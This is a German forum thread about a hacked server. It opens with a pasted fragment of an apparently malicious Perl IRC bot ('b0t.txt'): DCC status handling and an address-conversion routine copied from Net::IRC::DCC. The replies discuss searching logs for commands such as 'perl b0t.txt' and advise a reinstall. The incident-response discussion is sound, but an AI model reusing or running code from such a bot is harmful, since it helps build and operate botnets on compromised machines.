       $porcen = "$1.$2"."$p_duv";

    }

    return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");

  }





  return(0);

}





# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)

sub fixaddr {

    my ($address) = @_;



    chomp $address;     # just in case, sigh.

    if ($address =~ /^d+$/) {

        return inet_ntoa(pack "N", $address);

    } elsif ($address =~ /^[12]?d{1,2}.[12]?d{1,2}.[12]?d{1,2}.[12]?d{1,2}$/) {

        return $address;

    } elsif ($address =~ tr/a-zA-Z//) {                    # Whee! Obfuscation!

        return inet_ntoa(((gethostbyname($address))[4])[0]);

    } else {

        return;

    }

}
rootsvr
Posts: 538
Joined: 2005-09-02 11:12
Contact:
 

Re: Server gehackt...

Post by rootsvr »

s.o. kein aufruf perl%20b0t.txt o.ä.?
oder auch nur ein
./bot.txt

mal alle logs wo b0t.txt drinnen vorkommt gesammelt?

ich würde wie gesagt lieber neu installieren.. better safe than sorry
pr0j3ctx
Posts: 43
Joined: 2002-10-05 13:08
Location: NRW
 

Re: Server gehackt...

Post by pr0j3ctx »

hab alle logs durchkramt... hab den file gegen 7 entdeckt und alles durchgekramt.. da ist nichts mehr neues gekommen
rootsvr
Posts: 538
Joined: 2005-09-02 11:12
Contact:
 

Re: Server gehackt...

Post by rootsvr »

Ist halt Ungewöhnlich das jemand nen Bot lädt aber nicht ausführt..
Post Reply